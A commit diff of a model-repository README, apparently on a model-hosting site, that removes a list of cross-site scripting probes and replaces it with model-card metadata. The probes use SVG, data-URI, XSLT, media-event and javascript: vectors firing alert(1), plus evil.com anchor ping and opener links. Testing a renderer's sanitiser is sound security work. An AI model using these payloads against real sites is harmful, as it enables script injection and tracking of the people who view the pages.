Test oracle - public model
Browse files
README.md
CHANGED
|
@@ -1,83 +1,7 @@
|
|
| 1 |
---
|
| 2 |
license: mit
|
|
|
|
|
|
|
|
|
|
| 3 |
---
|
| 4 |
-
|
| 5 |
-
# SVG and Data URI Focus Tests
|
| 6 |
-
|
| 7 |
-
## Test: CSS background SVG
|
| 8 |
-
<div style="background:url('data:image/svg+xml,<svg onload=alert(1) xmlns=http://www.w3.org/2000/svg></svg>')">test div</div>
|
| 9 |
-
|
| 10 |
-
## Test: Style attr with expression
|
| 11 |
-
<div style="width:expression(alert(1))">test</div>
|
| 12 |
-
|
| 13 |
-
## Test: SVG foreignObject detailed
|
| 14 |
-
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
|
| 15 |
-
<foreignObject width="200" height="200">
|
| 16 |
-
<div xmlns="http://www.w3.org/1999/xhtml">
|
| 17 |
-
<img src="x" onerror="alert(1)">
|
| 18 |
-
</div>
|
| 19 |
-
</foreignObject>
|
| 20 |
-
</svg>
|
| 21 |
-
|
| 22 |
-
## Test: SVG script via CDATA
|
| 23 |
-
<svg xmlns="http://www.w3.org/2000/svg">
|
| 24 |
-
<script type="text/ecmascript"><![CDATA[alert(1)]]></script>
|
| 25 |
-
</svg>
|
| 26 |
-
|
| 27 |
-
## Test: Audio with oncanplaythrough
|
| 28 |
-
<audio src="x" oncanplaythrough="alert(1)">
|
| 29 |
-
|
| 30 |
-
## Test: Video poster onerror
|
| 31 |
-
<video poster="x" onerror="alert(1)"></video>
|
| 32 |
-
|
| 33 |
-
## Test: Input type=image
|
| 34 |
-
<input type="image" src="x" onerror="alert(1)">
|
| 35 |
-
|
| 36 |
-
## Test: Object with form
|
| 37 |
-
<form><button formaction="javascript:alert(1)">click</button></form>
|
| 38 |
-
|
| 39 |
-
## Test: Anchor target _blank
|
| 40 |
-
<a href="https://evil.com" target="_blank" rel="opener">click</a>
|
| 41 |
-
|
| 42 |
-
## Test: Anchor ping
|
| 43 |
-
<a href="#" ping="https://evil.com/track">ping test</a>
|
| 44 |
-
|
| 45 |
-
## Test: SVG with animate href change
|
| 46 |
-
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
| 47 |
-
<a id="testlink">
|
| 48 |
-
<text y="30">click me</text>
|
| 49 |
-
<animate attributeName="href" from="#" to="javascript:alert(1)" begin="0s" dur="0.001s" fill="freeze"/>
|
| 50 |
-
</a>
|
| 51 |
-
</svg>
|
| 52 |
-
|
| 53 |
-
## Test: SVG feImage
|
| 54 |
-
<svg xmlns="http://www.w3.org/2000/svg">
|
| 55 |
-
<defs>
|
| 56 |
-
<filter id="f">
|
| 57 |
-
<feImage xlink:href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"/>
|
| 58 |
-
</filter>
|
| 59 |
-
</defs>
|
| 60 |
-
<rect filter="url(#f)" width="100" height="100"/>
|
| 61 |
-
</svg>
|
| 62 |
-
|
| 63 |
-
## Test: Math annotation-xml
|
| 64 |
-
<math>
|
| 65 |
-
<annotation-xml encoding="text/html">
|
| 66 |
-
<img src=x onerror=alert(1)>
|
| 67 |
-
</annotation-xml>
|
| 68 |
-
</math>
|
| 69 |
-
|
| 70 |
-
## Test: Table + style
|
| 71 |
-
<table background="javascript:alert(1)"><tr><td>test</td></tr></table>
|
| 72 |
-
|
| 73 |
-
## Test: XSLT
|
| 74 |
-
<?xml-stylesheet href="data:text/xsl,<xsl:stylesheet xmlns:xsl='http://www.w3.org/1999/XSL/Transform'><xsl:template match='/'><script>alert(1)</script></xsl:template></xsl:stylesheet>"?>
|
| 75 |
-
|
| 76 |
-
## Test: Base64 iframe
|
| 77 |
-
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
|
| 78 |
-
|
| 79 |
-
## Test: Object data URI
|
| 80 |
-
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
| 81 |
-
|
| 82 |
-
## Test: Embed data URI
|
| 83 |
-
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
|
|
|
| 1 |
---
|
| 2 |
license: mit
|
| 3 |
+
base_model: google/gemma-7b
|
| 4 |
+
tags:
|
| 5 |
+
- text-generation
|
| 6 |
---
|
| 7 |
+
# Test
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|